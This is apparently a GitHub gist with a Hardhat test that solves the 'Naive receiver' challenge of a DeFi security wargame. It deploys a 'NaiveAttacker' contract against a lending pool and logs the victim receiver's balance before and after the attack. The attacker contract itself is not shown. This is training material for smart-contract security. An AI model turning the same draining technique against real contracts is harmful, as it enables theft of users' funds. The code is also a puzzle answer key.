Skip to content

Instantly share code, notes, and snippets.

@JuanXavier
Last active July 9, 2022 21:48
Show Gist options
  • Select an option

  • Save JuanXavier/c21eb096faca269e531edd06b7f291fd to your computer and use it in GitHub Desktop.

Select an option

Save JuanXavier/c21eb096faca269e531edd06b7f291fd to your computer and use it in GitHub Desktop.
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
// Deploy attacker contract
const NaiveAttacker = await ethers.getContractFactory('NaiveAttacker', attacker)
this.attackerContract = await NaiveAttacker.deploy(this.pool.address)
// Attack
console.log(
'Receiver balance before attacking: ',
String(await ethers.provider.getBalance(this.receiver.address))
)
await this.attackerContract.connect(attacker).attack(this.receiver.address)
console.log(
'Receiver balance after attacking: ',
String(await ethers.provider.getBalance(this.receiver.address))
)
})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment